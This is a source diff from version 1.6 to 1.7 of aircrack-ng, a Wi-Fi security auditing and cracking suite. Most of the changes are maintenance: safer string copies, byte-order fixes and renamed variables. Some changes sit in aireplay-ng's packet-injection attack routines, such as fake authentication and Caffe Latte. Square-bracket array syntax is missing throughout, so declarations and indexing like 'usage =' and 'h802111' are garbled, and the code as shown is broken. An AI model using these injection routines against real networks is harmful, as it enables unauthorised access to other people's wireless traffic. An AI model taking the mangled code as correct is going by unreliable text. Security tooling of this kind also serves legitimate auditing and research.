@@ -6073,17 +6221,29 @@
 				break;
 
 			case 'p':
-
-				opt.nbcpu = (int) strtol(optarg, NULL, 10);
-				if (opt.nbcpu < 1 || opt.nbcpu > MAX_THREADS)
+			{
+				int const nbcpu = (int) strtol(optarg, NULL, 10);
+				if (nbcpu < 1 || nbcpu > MAX_THREADS)
 				{
 					printf("Invalid number of processes (recommended: %d)\n",
 						   cpu_count);
 					printf("\"%s --help\" for help.\n", argv0);
 					return (EXIT_FAILURE);
 				}
+				if (nbcpu > cpu_count)
+				{
+					fprintf(stderr,
+							"Specifying more processes (%d) than available "
+							"CPUs (%d) would cause performance degradation.\n",
+							nbcpu,
+							cpu_count);
+					opt.nbcpu = cpu_count;
+				}
+				else
+					opt.nbcpu = nbcpu;
 
 				break;
+			}
 
 			case 'q':
 
@@ -6235,61 +6395,66 @@
 				break;
 
 			case 'l':
-
-				opt.logKeyToFile = (char *) calloc(1, strlen(optarg) + 1);
+			{
+				const size_t optarg_len = strlen(optarg) + 1;
+				opt.logKeyToFile = (char *) calloc(1, optarg_len);
 				if (opt.logKeyToFile == NULL)
 				{
 					printf("Error allocating memory\n");
 					return (EXIT_FAILURE);
 				}
 
-				strncpy(opt.logKeyToFile, optarg, strlen(optarg));
-				break;
+				strlcpy(opt.logKeyToFile, optarg, optarg_len);
+			}
+			break;
 
 			case 'E':
-
-				// Make sure there's enough space for file extension just in
-				// case it was forgotten
-				opt.wkp = (char *) calloc(1, strlen(optarg) + 1 + 4);
+			{
+				// Make sure there's enough space for file
+				// extension just in case it was forgotten
+				const size_t wkp_len = strlen(optarg) + 6;
+				opt.wkp = (char *) calloc(1, wkp_len);
 				if (opt.wkp == NULL)
 				{
 					printf("Error allocating memory\n");
 					return (EXIT_FAILURE);
 				}
 
-				strncpy(opt.wkp, optarg, strlen(optarg));
-
-				break;
+				strlcpy(opt.wkp, optarg, wkp_len);
+			}
+			break;
 
 			case 'J':
-
-				// Make sure there's enough space for file extension just in
-				// case it was forgotten
-				opt.hccap = (char *) calloc(1, strlen(optarg) + 1 + 6);
+			{
+				// Make sure there's enough space for file
+				// extension just in case it was forgotten
+				const size_t hccap_len = strlen(optarg) + 8;
+				opt.hccap = (char *) calloc(1, hccap_len);
 				if (opt.hccap == NULL)
 				{
 					printf("Error allocating memory\n");
 					return (EXIT_FAILURE);
 				}
 
-				strncpy(opt.hccap, optarg, strlen(optarg));
-
-				break;
+				strlcpy(opt.hccap, optarg, hccap_len);
+			}
+			break;
 
 			case 'j':
-
-				// Make sure there's enough space for file extension just in
-				// case it was forgotten
-				opt.hccapx = (char *) calloc(1, strlen(optarg) + 1 + 7);
+			{
+				// Make sure there's enough space for file
+				// extension just in case it was forgotten
+				const size_t hccapx_len = strlen(optarg) + 8;
+				opt.hccapx = (char *) calloc(1, hccapx_len);
 				if (opt.hccapx == NULL)
 				{
 					printf("Error allocating memory\n");
 					return (EXIT_FAILURE);
 				}
 
-				strncpy(opt.hccapx, optarg, strlen(optarg));
-
-				break;
+				strlcpy(opt.hccapx, optarg, hccapx_len);
+			}
+			break;
 
 			case 'M':
 
@@ -6531,7 +6696,6 @@
 		if (remaining
 			< H16800_PMKID_LEN + H16800_BSSID_LEN + H16800_STMAC_LEN + 4)
 		{
-			ret = EXIT_FAILURE;
 			fprintf(stderr, "Input is too short!\n");
 			goto exit_main;
 		}
@@ -6592,7 +6756,7 @@
 
 		do
 		{
-			char * optind_arg = (restore_session)
+			char * optind_arg = (restore_session && cracking_session)
 									? cracking_session->argvoptind
 									: argvoptind;
 			if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
@@ -6604,8 +6768,7 @@
 			request->mode = PACKET_READER_CHECK_MODE;
 			request->filename = optind_arg;
 
-			if (pthread_create(
-					&(tidid), NULL, (void *) packet_reader_thread, request)
+			if (pthread_create(&(tidid), NULL, &packet_reader_thread, request)
 				!= 0)
 			{
 				perror("pthread_create failed");
@@ -6726,7 +6889,7 @@
 						break;
 
 					case 2:
-						printf("WEP (%ld IVs)\n", ap_cur->nb_ivs);
+						printf("WEP (%ld IVs)\n", ap_cur->nb_ivs_vague);
 						break;
 
 					case 3:
@@ -6782,6 +6945,7 @@
 				c_avl_iterator_next(it, &key, (void **) &ap_cur);
 				c_avl_iterator_destroy(it);
 				it = NULL;
+				ALLEGE(ap_cur != NULL);
 				ap_cur->target = 1;
 				c_avl_insert(targets, ap_cur->bssid, ap_cur);
 			}
@@ -6792,6 +6956,8 @@
 
 			printf("\n");
 
+			ALLEGE(ap_cur != NULL);
+
 			// Release memory of all APs we don't care about currently.
 			ap_avl_release_unused(ap_cur);
 
@@ -6814,7 +6980,6 @@
 		id = 0;
 	}
 
-	id = 0;
 	nb_prev_pkt = nb_pkt;
 	nb_pkt = 0;
 	nb_eof = 0;
@@ -6827,6 +6992,7 @@
 		fflush(stdout);
 	}
 
+	// NOTE: Reset internal logic used from CHECK, prior to full READ/PROCESS...
 	if (ap_cur != NULL)
 	{
 		if (ap_cur->uiv_root != NULL)
@@ -6839,6 +7005,20 @@
 		ap_cur->ivbuf_size = 0;
 
 		destroy(ap_cur->ivbuf, free);
+
+		// Destroy WPA struct in all stations of the selected AP
+		if (ap_cur->stations != NULL)
+		{
+			void * key = NULL;
+			struct ST_info * st_tmp = NULL;
+
+			while (c_avl_pick(ap_cur->stations, &key, (void **) &st_tmp) == 0)
+			{
+				INVARIANT(st_tmp != NULL);
+
+				memset(&st_tmp->wpa, 0, sizeof(struct WPA_hdsk));
+			}
+		}
 	}
 
 	do
@@ -6854,8 +7034,7 @@
 		request->mode = PACKET_READER_READ_MODE;
 		request->filename = optind_arg;
 
-		if (pthread_create(
-				&(tidid), NULL, (void *) packet_reader_thread, request)
+		if (pthread_create(&(tidid), NULL, &packet_reader_thread, request)
 			!= 0)
 		{
 			perror("pthread_create failed");
@@ -6868,13 +7047,15 @@
 
 	/* wait until threads re-read the original packets read in first pass */
 	ALLEGE(pthread_mutex_lock(&mx_eof) == 0);
-	if (!opt.bssid_set)
+	if (!opt.bssid_set && !opt.essid_set)
 	{
-		while (nb_prev_pkt != nb_pkt) pthread_cond_wait(&cv_eof, &mx_eof);
+		while (nb_prev_pkt > nb_pkt && nb_eof != id)
+			pthread_cond_wait(&cv_eof, &mx_eof);
 	}
 	else
 	{
-		while (nb_eof != id) pthread_cond_wait(&cv_eof, &mx_eof);
+		while (nb_prev_pkt >= nb_pkt && nb_eof != id)
+			pthread_cond_wait(&cv_eof, &mx_eof);
 	}
 	ALLEGE(pthread_mutex_unlock(&mx_eof) == 0);
 
@@ -6955,7 +7136,7 @@
 	if (cracking_session)
 	{
 		if (pthread_create(
-				&cracking_session_tid, NULL, (void *) session_save_thread, NULL)
+				&cracking_session_tid, NULL, &session_save_thread, NULL)
 			!= 0)
 		{
 			perror("pthread_create failed");

aircrack-ng-1.6.tar.gz/src/aircrack-ng/linecount.cpp -> aircrack-ng-1.7.tar.gz/src/aircrack-ng/linecount.cpp Changed

aircrack-ng-1.6.tar.gz/src/aircrack-ng/linecount.h -> aircrack-ng-1.7.tar.gz/src/aircrack-ng/linecount.h Changed

aircrack-ng-1.6.tar.gz/src/aircrack-ng/session.c -> aircrack-ng-1.7.tar.gz/src/aircrack-ng/session.c Changed

aircrack-ng-1.6.tar.gz/src/aircrack-ng/session.h -> aircrack-ng-1.7.tar.gz/src/aircrack-ng/session.h Changed

aircrack-ng-1.6.tar.gz/src/airdecap-ng/airdecap-ng.c -> aircrack-ng-1.7.tar.gz/src/airdecap-ng/airdecap-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  802.11 to Ethernet pcap translator
  *
- *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005  Christophe Devine
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -56,7 +56,7 @@
 static const char usage =
 
 	"\n"
-	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
 	"  https://www.aircrack-ng.org\n"
 	"\n"
 	"  usage: airdecap-ng options <pcap file>\n"
@@ -192,6 +192,9 @@
 		pkh->caplen += 12;
 	}
 
+	pkh->len = __cpu_to_le32(pkh->len);
+	pkh->caplen = __cpu_to_le32(pkh->caplen);
+
 	n = sizeof(struct pcap_pkthdr);
 
 	if (fwrite(pkh, 1, n, f_out) != (size_t) n)
@@ -200,7 +203,7 @@
 		return (EXIT_FAILURE);
 	}
 
-	n = pkh->caplen;
+	n = __le32_to_cpu(pkh->caplen);
 
 	if (fwrite(buffer, 1, n, f_out) != (size_t) n)
 	{
@@ -222,7 +225,7 @@
 	unsigned n;
 	unsigned z;
 	unsigned char * h80211 = NULL;
-	unsigned char bssid6, stmac6;
+	unsigned char bssid6 = {0}, stmac6 = {0};
 
 	c_avl_tree_t * stations = c_avl_create(station_compare);
 	ALLEGE(stations != NULL);
@@ -253,10 +256,6 @@
 		switch (option)
 		{
 			case ':':
-
-				printf("\"%s --help\" for help.\n", argv0);
-				return (EXIT_FAILURE);
-
 			case '?':
 
 				printf("\"%s --help\" for help.\n", argv0);
@@ -624,13 +623,18 @@
 		}
 	}
 
+#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+	pfh.magic = TCPDUMP_CIGAM;
+#else
 	pfh.magic = TCPDUMP_MAGIC;
-	pfh.version_major = PCAP_VERSION_MAJOR;
-	pfh.version_minor = PCAP_VERSION_MINOR;
+#endif
+	pfh.version_major = cpu_to_le16(PCAP_VERSION_MAJOR);
+	pfh.version_minor = cpu_to_le16(PCAP_VERSION_MINOR);
 	pfh.thiszone = 0;
 	pfh.sigfigs = 0;
-	pfh.snaplen = 65535;
-	pfh.linktype = (opt.no_convert) ? LINKTYPE_IEEE802_11 : LINKTYPE_ETHERNET;
+	pfh.snaplen = cpu_to_le32(65535);
+	pfh.linktype = cpu_to_le32((opt.no_convert) ? LINKTYPE_IEEE802_11
+												: LINKTYPE_ETHERNET);
 
 	n = sizeof(pfh);
 
@@ -717,7 +721,7 @@
 		{
 			/* remove the radiotap header */
 
-			n = *(unsigned short *) (h80211 + 2);
+			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
 
 			if (n <= 0 || n >= (unsigned) pkh.caplen) continue;
 
@@ -757,7 +761,7 @@
 
 		/* check minimum size */
 
-		z = ((h802111 & 3) != 3) ? 24 : 30;
+		z = ((*(h80211 + 1) & 3) != 3) ? 24 : 30;
 
 		if (z + 16 > pkh.caplen) continue;
 
@@ -769,7 +773,7 @@
 
 		/* check the BSSID */
 
-		switch (h802111 & 3)
+		switch (*(h80211 + 1) & 3)
 		{
 			case 0:
 				memcpy(bssid, h80211 + 16, sizeof(bssid)); //-V525
@@ -782,11 +786,11 @@
 				break; // FromDS
 			case 3:
 				wds = true;
-				if (memcmp(opt.bssid, ZERO, 6))
+				if (memcmp(opt.bssid, ZERO, 6) != 0)
 				{
 					/* BSSID has been specified */
-					if (memcmp(opt.bssid, h80211 + 4, 6))
-						if (memcmp(opt.bssid, h80211 + 10, 6))
+					if (memcmp(opt.bssid, h80211 + 4, 6) != 0)
+						if (memcmp(opt.bssid, h80211 + 10, 6) != 0)
 							/* BSSID doesn't match either RA nor TA */
 							continue;
 						else
@@ -807,7 +811,7 @@
 
 		/* locate the station's MAC address */
 
-		switch (h802111 & 3)
+		switch (*(h80211 + 1) & 3)
 		{
 			case 1:
 				memcpy(stmac, h80211 + 10, sizeof(stmac)); //-V525
@@ -816,10 +820,10 @@
 				memcpy(stmac, h80211 + 4, sizeof(stmac));
 				break;
 			case 3:
-				if (memcmp(opt.bssid, ZERO, 6))
+				if (memcmp(opt.bssid, ZERO, 6) != 0)
 				{
 					/* BSSID has been specified */
-					if (memcmp(bssid, h80211 + 4, 6))
+					if (memcmp(bssid, h80211 + 4, 6) != 0)
 						/* BSSID is not RA, STA must be RA */
 						memcpy(stmac, h80211 + 4, sizeof(stmac));
 				}
@@ -858,7 +862,7 @@
 
 		crc = calc_crc_buf(h80211 + z, pkh.caplen - z);
 
-		if ((h802111 & 3) == 2)
+		if ((*(h80211 + 1) & 3) == 2)
 		{
 			if (st_cur->t_crc == crc) continue;
 
@@ -914,7 +918,7 @@
 
 				stats.nb_unwep++;
 
-				h802111 &= 0xBF;
+				*(h80211 + 1) &= 0xBF;
 
 				if (write_packet(f_out, &pkh, h80211) != 0) break;
 			}
@@ -972,7 +976,7 @@
 
 				stats.nb_unwpa++;
 
-				h802111 &= 0xBF;
+				*(h80211 + 1) &= 0xBF;
 
 				if (write_packet(f_out, &pkh, h80211) != 0) break;
 			}

aircrack-ng-1.6.tar.gz/src/airdecloak-ng/airdecloak-ng.c -> aircrack-ng-1.7.tar.gz/src/airdecloak-ng/airdecloak-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  WEP Cloaking filtering
  *
- *  Copyright (C) 2008-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2008-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *
  *  Thanks to Alex Hernandez aka alt3kx for the hardware.
  *
@@ -53,7 +53,9 @@
 
 static char * _filename_output_invalid;
 static char * _filename_output_cloaked;
+static size_t _filename_output_cloaked_len;
 static char * _filename_output_filtered;
+static size_t _filename_output_filtered_len;
 static FILE * _output_cloaked_packets_file;
 static FILE * _output_clean_capture_file;
 static FILE * _input_file;
@@ -320,13 +322,11 @@
 // !!!! WDS not yet implemented
 static BOOLEAN read_packets(void)
 {
-	int i, start;
+	int start;
 	time_t tt;
 	unsigned char * h80211;
 	size_t bytes_read;
 
-	i = 0;
-
 	memset(&stats, 0, sizeof(stats));
 	tt = time(NULL);
 
@@ -484,7 +484,8 @@
 			// future)
 			_packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED;
 		}
-		else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		else if (_packet_elt_head->current->frame_type //-V547
+				 == FRAME_TYPE_DATA)
 		{
 			_packet_elt_head->current->is_cloaked
 				= UKNOWN_FRAME_CLOAKING_STATUS;
@@ -746,14 +747,7 @@
 			return false;
 		}
 	}
-	if (_packet_elt_head->current->toDS == 0)
-	{
-		return true;
-	}
-	else
-	{
-		return false;
-	}
+	return true;
 }
 
 static BOOLEAN next_packet_pointer_from_client(void)
@@ -1089,9 +1083,7 @@
 						++nb_packets;
 						break;
 					} //-V796
-#if __GNUC__ >= 7
-					__attribute__((fallthrough));
-#endif
+					fallthrough;
 				case UKNOWN_FRAME_CLOAKING_STATUS:
 					// If variation is > max allowed variation, it's a cloaked
 					// packet
@@ -1247,9 +1239,7 @@
 						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
 						++nb_packets;
 					} //-V796
-#if __GNUC__ >= 7
-					__attribute__((fallthrough));
-#endif
+					fallthrough;
 				case UKNOWN_FRAME_CLOAKING_STATUS:
 					// If unknown status, mark it as potentially cloaked
 					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
@@ -1502,7 +1492,7 @@
 		"Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
 	printf(
 		"\n"
-		"  %s - (C) 2008-2020 Thomas d\'Otreppe\n"
+		"  %s - (C) 2008-2022 Thomas d\'Otreppe\n"
 		"  https://www.aircrack-ng.org\n"
 		"\n"
 		"  usage: airdecloak-ng options\n"
@@ -1562,6 +1552,7 @@
 {
 	int temp = 0, option;
 	int manual_cloaked_fname = 0, manual_filtered_fname = 0;
+	//-V:tempBool:1048
 	BOOLEAN tempBool;
 	char * input_filename;
 	char * input_bssid;
@@ -1614,12 +1605,7 @@
 		switch (option)
 		{
 			case ':':
-
-				printf("\"%s --help\" for help.\n", argv0);
-				return (EXIT_FAILURE);
-
 			case '?':
-
 				printf("\"%s --help\" for help.\n", argv0);
 				return (EXIT_FAILURE);
 			case 'a':
@@ -1632,6 +1618,7 @@
 				if (optarg != NULL)
 				{
 					_filename_output_cloaked = optarg;
+					_filename_output_cloaked_len = strlen(optarg) + 16;
 					manual_cloaked_fname = 1;
 				}
 				break;
@@ -1639,6 +1626,7 @@
 				if (optarg != NULL)
 				{
 					_filename_output_filtered = optarg;
+					_filename_output_filtered_len = strlen(optarg) + 16;
 					manual_filtered_fname = 1;
 				}
 				break;
@@ -1790,13 +1778,17 @@
 		temp = strlen(input_filename);
 		if (!manual_cloaked_fname)
 		{
-			_filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1);
+			_filename_output_cloaked_len = temp + 9 + 5;
+			_filename_output_cloaked
+				= (char *) calloc(_filename_output_cloaked_len, 1);
 			ALLEGE(_filename_output_cloaked != NULL);
 		}
 
 		if (!manual_filtered_fname)
 		{
-			_filename_output_filtered = (char *) calloc(temp + 10 + 5, 1);
+			_filename_output_filtered_len = temp + 10 + 5;
+			_filename_output_filtered
+				= (char *) calloc(_filename_output_filtered_len, 1);
 			ALLEGE(_filename_output_filtered != NULL);
 		}
 
@@ -1810,12 +1802,12 @@
 		{
 			if (!manual_cloaked_fname)
 				snprintf(_filename_output_cloaked,
-						 strlen(input_filename) + 9 + 5,
+						 _filename_output_cloaked_len,
 						 "%s-cloaked.pcap",
 						 input_filename);
 			if (!manual_filtered_fname)
 				snprintf(_filename_output_filtered,
-						 strlen(input_filename) + 10 + 5,
+						 _filename_output_filtered_len,
 						 "%s-filtered.pcap",
 						 input_filename);
 		}
@@ -1823,17 +1815,21 @@
 		{
 			if (!manual_cloaked_fname)
 			{
-				strncpy(_filename_output_cloaked,
+				strlcpy(_filename_output_cloaked,
 						input_filename,
-						strlen(input_filename) + 9 + 5 - 1);
-				strncat(_filename_output_cloaked, "-cloaked.pcap", 14);
+						_filename_output_cloaked_len);
+				strlcat(_filename_output_cloaked,
+						"-cloaked.pcap",
+						_filename_output_cloaked_len);
 			}
 			if (!manual_filtered_fname)
 			{
-				strncpy(_filename_output_filtered,
+				strlcpy(_filename_output_filtered,
 						input_filename,
-						strlen(input_filename) + 10 + 5 - 1);
-				strncat(_filename_output_filtered, "-filtered.pcap", 15);
+						_filename_output_filtered_len);
+				strlcat(_filename_output_filtered,
+						"-filtered.pcap",
+						_filename_output_filtered_len);
 			}
 		}
 	}

aircrack-ng-1.6.tar.gz/src/aireplay-ng/aireplay-ng.c -> aircrack-ng-1.7.tar.gz/src/aireplay-ng/aireplay-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  802.11 WEP replay & injection attacks
  *
- *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005 Christophe Devine
  *
  *  WEP decryption attack (chopchop) developed by KoreK
@@ -61,6 +61,7 @@
 #include <time.h>
 #include <getopt.h>
 #include <assert.h>
+#include <math.h>
 
 #include <fcntl.h>
 #include <ctype.h>
@@ -122,7 +123,7 @@
 static const char usage =
 
 	"\n"
-	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
 	"  https://www.aircrack-ng.org\n"
 	"\n"
 	"  usage: aireplay-ng <options> <replay interface>\n"
@@ -324,7 +325,7 @@
 
 static void my_read_sleep_cb(void)
 {
-	read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+	(void) read_packet(_wi_in, h80211, sizeof(h80211), NULL);
 }
 
 static void send_fragments(unsigned char * packet,
@@ -347,7 +348,7 @@
 	data_size = packet_len - header_size;
 	packet23 = rand_u8();
 
-	for (t = 0; t < INT_MAX; t += fragsize)
+	for (t = 0 + fragsize; t != 0; t += fragsize)
 	{
 
 		// Copy header
@@ -379,7 +380,7 @@
 
 		// Fragment number
 		frag22 = 0;
-		for (u = t; u < INT_MAX; u -= fragsize)
+		for (u = t - fragsize; u != 0; u -= fragsize)
 		{
 			frag22 += 1;
 		}
@@ -400,7 +401,7 @@
 		xor_keystream(frag + header_size + 4, keystream, fragsize + 4);
 
 		// Send
-		send_packet(_wi_out, frag, (size_t) pack_size, kRewriteDuration);
+		send_packet(_wi_out, frag, (size_t) pack_size, kRewriteSequenceNumber);
 		if (t < data_size) usleep(100);
 
 		if (t >= data_size) break;
@@ -471,7 +472,8 @@
 				memcpy(h80211 + 4, opt.r_dmac, 6);
 				memcpy(h80211 + 10, opt.r_bssid, 6);
 
-				if (send_packet(_wi_out, h80211, 26, kRewriteDuration) < 0)
+				if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
+					< 0)
 					return (EXIT_FAILURE);
 
 				usleep(2000);
@@ -479,7 +481,8 @@
 				memcpy(h80211 + 4, opt.r_bssid, 6);
 				memcpy(h80211 + 10, opt.r_dmac, 6);
 
-				if (send_packet(_wi_out, h80211, 26, kRewriteDuration) < 0)
+				if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
+					< 0)
 					return (EXIT_FAILURE);
 
 				usleep(2000);
@@ -557,7 +560,8 @@
 
 			for (i = 0; i < 128; i++)
 			{
-				if (send_packet(_wi_out, h80211, 26, kRewriteDuration) < 0)
+				if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
+					< 0)
 					return (1);
 
 				usleep(2000);
@@ -571,7 +575,7 @@
 static int do_attack_fake_auth(void)
 {
 	time_t tt, tr;
-	struct timeval tv, tv2, tv3;
+	struct timeval tv, tv2 = {0}, tv3;
 
 	fd_set rfds;
 	int i, n, state, caplen, z;
@@ -580,7 +584,7 @@
 	int kas;
 	int tries;
 	int retry = 0;
-	int abort;
+	int should_abort;
 	int gotack = 0;
 	unsigned char capa2;
 	int deauth_wait = 3;
@@ -632,7 +636,7 @@
 	memcpy(ctsbuf + 4, opt.r_bssid, 6);
 
 	tries = 0;
-	abort = 0;
+	should_abort = 0;
 	state = 0;
 	x_send = opt.npackets;
 	if (opt.npackets == 0) x_send = 4;
@@ -719,22 +723,26 @@
 
 				for (i = 0; i < x_send; i++)
 				{
-					if (send_packet(_wi_out, h80211, 30, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, h80211, 30, kRewriteSequenceNumber)
+						< 0)
 						return (1);
 
 					usleep(10);
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (1);
 					usleep(10);
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (1);
 				}
 
 				break;
 
 			case 1:
+			case 3:
 
 				/* waiting for an authentication response */
 
@@ -746,7 +754,7 @@
 
 						if (tries > 15)
 						{
-							abort = 1;
+							should_abort = 1;
 						}
 					}
 					else
@@ -757,11 +765,11 @@
 						}
 						else
 						{
-							abort = 1;
+							should_abort = 1;
 						}
 					}
 
-					if (abort)
+					if (should_abort)
 					{
 						printf(
 							"\nAttack was unsuccessful. Possible reasons:\n\n"
@@ -856,73 +864,21 @@
 						send_packet(_wi_out,
 									h80211,
 									24 + 4 + (size_t) challengelen + 4,
-									kRewriteDuration);
+									kRewriteSequenceNumber);
 					}
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (EXIT_FAILURE);
 					usleep(10);
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (EXIT_FAILURE);
 				}
 
 				break;
 
-			case 3:
-
-				/* waiting for an authentication response (using ska) */
-
-				if (time(NULL) - tt >= 2)
-				{
-					if (opt.npackets > 0)
-					{
-						tries++;
-
-						if (tries > 15)
-						{
-							abort = 1;
-						}
-					}
-					else
-					{
-						if (x_send < 256)
-						{
-							x_send *= 2;
-						}
-						else
-						{
-							abort = 1;
-						}
-					}
-
-					if (abort)
-					{
-						printf(
-							"\nAttack was unsuccessful. Possible reasons:\n\n"
-							"    * Perhaps MAC address filtering is enabled.\n"
-							"    * Check that the BSSID (-a option) is "
-							"correct.\n"
-							"    * Try to change the number of packets (-o "
-							"option).\n"
-							"    * The driver/card doesn't support injection.\n"
-							"    * This attack sometimes fails against some "
-							"APs.\n"
-							"    * The card is not on the same channel as the "
-							"AP.\n"
-							"    * You're too far from the AP. Get closer, or "
-							"lower\n"
-							"      the transmit rate.\n\n");
-						return (EXIT_FAILURE);
-					}
-
-					state = 0;
-					challengelen = 0;
-					printf("\n");
-				}
-
-				break;
-
 			case 4:
 
 				tries = 0;
@@ -953,18 +909,22 @@
 
 				for (i = 0; i < x_send; i++)
 				{
-					if (send_packet(
-							_wi_out, h80211, 46 + (size_t) n, kRewriteDuration)
+					if (send_packet(_wi_out,
+									h80211,
+									46 + (size_t) n,
+									kRewriteSequenceNumber)
 						< 0)
 						return (EXIT_FAILURE);
 
 					usleep(10);
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (EXIT_FAILURE);
 					usleep(10);
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (EXIT_FAILURE);
 				}
 
@@ -1032,7 +992,8 @@
 						kas = 32;
 
 					for (i = 0; i < kas; i++)
-						if (send_packet(_wi_out, h80211, 24, kRewriteDuration)
+						if (send_packet(
+								_wi_out, h80211, 24, kRewriteSequenceNumber)
 							< 0)
 							return (EXIT_FAILURE);
 				}
@@ -1071,18 +1032,22 @@
 
 				for (i = 0; i < x_send; i++)
 				{
-					if (send_packet(
-							_wi_out, h80211, 52 + (size_t) n, kRewriteDuration)
+					if (send_packet(_wi_out,
+									h80211,
+									52 + (size_t) n,
+									kRewriteSequenceNumber)
 						< 0)
 						return (EXIT_FAILURE);
 
 					usleep(10);
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (EXIT_FAILURE);
 					usleep(10);
 
-					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
+						< 0)
 						return (EXIT_FAILURE);
 				}
 
@@ -1150,8 +1115,7 @@
 			 > (100 * 1000))
 			&& (gotack > 0)
 			&& (gotack < packets)
-			&& (state == 3)
-			&& (packets > 1))
+			&& (state == 3))
 		{
 			PCT;
 			printf("Not enough acks, repeating...\n");
@@ -1601,13 +1565,16 @@
 
 		if (nb_pkt_sent == 0) ticks0 = 0;
 
-		if (send_packet(_wi_out, h80211, (size_t) caplen, kRewriteDuration) < 0)
+		if (send_packet(
+				_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
+			< 0)
 			return (EXIT_FAILURE);
 
 		if (((double) ticks0 / (double) RTC_RESOLUTION) * (double) opt.r_nbpps
 			> (double) nb_pkt_sent)
 		{
-			if (send_packet(_wi_out, h80211, (size_t) caplen, kRewriteDuration)
+			if (send_packet(
+					_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
 				< 0)
 				return (EXIT_FAILURE);
 		}
@@ -1673,6 +1640,7 @@
 	pfh_out.linktype = LINKTYPE_IEEE802_11;
 
 	lt = localtime((const time_t *) &tv.tv_sec);
+	REQUIRE(lt != NULL);
 
 	memset(strbuf, 0, sizeof(strbuf));
 	snprintf(strbuf,
@@ -1793,7 +1761,7 @@
 				if (send_packet(_wi_out,
 								arparp_off1.buf,
 								(size_t) arparp_off1.len,
-								kRewriteDuration)
+								kRewriteSequenceNumber)
 					< 0)
 				{
 					free(arp);
@@ -1808,7 +1776,7 @@
 					if (send_packet(_wi_out,
 									arparp_off1.buf,
 									(size_t) arparp_off1.len,
-									kRewriteDuration)
+									kRewriteSequenceNumber)
 						< 0)
 					{
 						free(arp);
@@ -2084,7 +2052,7 @@
 static int do_attack_caffe_latte(void)
 {
 	int nb_bad_pkt;
-	int arp_off1, arp_off2;
+	int arp_off1;
 	int i, n, caplen, nb_arp, z;
 	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
 	unsigned char flip4096;
@@ -2137,6 +2105,7 @@
 	pfh_out.linktype = LINKTYPE_IEEE802_11;
 
 	lt = localtime((const time_t *) &tv.tv_sec);
+	REQUIRE(lt != NULL);
 
 	memset(strbuf, 0, sizeof(strbuf));
 	snprintf(strbuf,
@@ -2197,7 +2166,6 @@
 	nb_arp = 0;
 	nb_arp_tot = 0;
 	arp_off1 = 0;
-	arp_off2 = 0;
 
 	while (1)
 	{
@@ -2252,7 +2220,7 @@
 				if (send_packet(_wi_out,
 								arparp_off1.buf,
 								(size_t) arparp_off1.len,
-								kRewriteDuration)
+								kRewriteSequenceNumber)
 					< 0)
 				{
 					free(arp);
@@ -2266,7 +2234,7 @@
 					if (send_packet(_wi_out,
 									arparp_off1.buf,
 									(size_t) arparp_off1.len,
-									kRewriteDuration)
+									kRewriteSequenceNumber)
 						< 0)
 					{
 						free(arp);
@@ -2293,7 +2261,6 @@
 				fclose(f_cap_out);
 				return (1);
 			}
-
 			if (caplen == 0) continue;
 		}
 		else
@@ -2558,7 +2525,7 @@
 static int do_attack_migmode(void)
 {
 	int nb_bad_pkt;
-	int arp_off1, arp_off2;
+	int arp_off1;
 	int i, n, caplen, nb_arp, z;
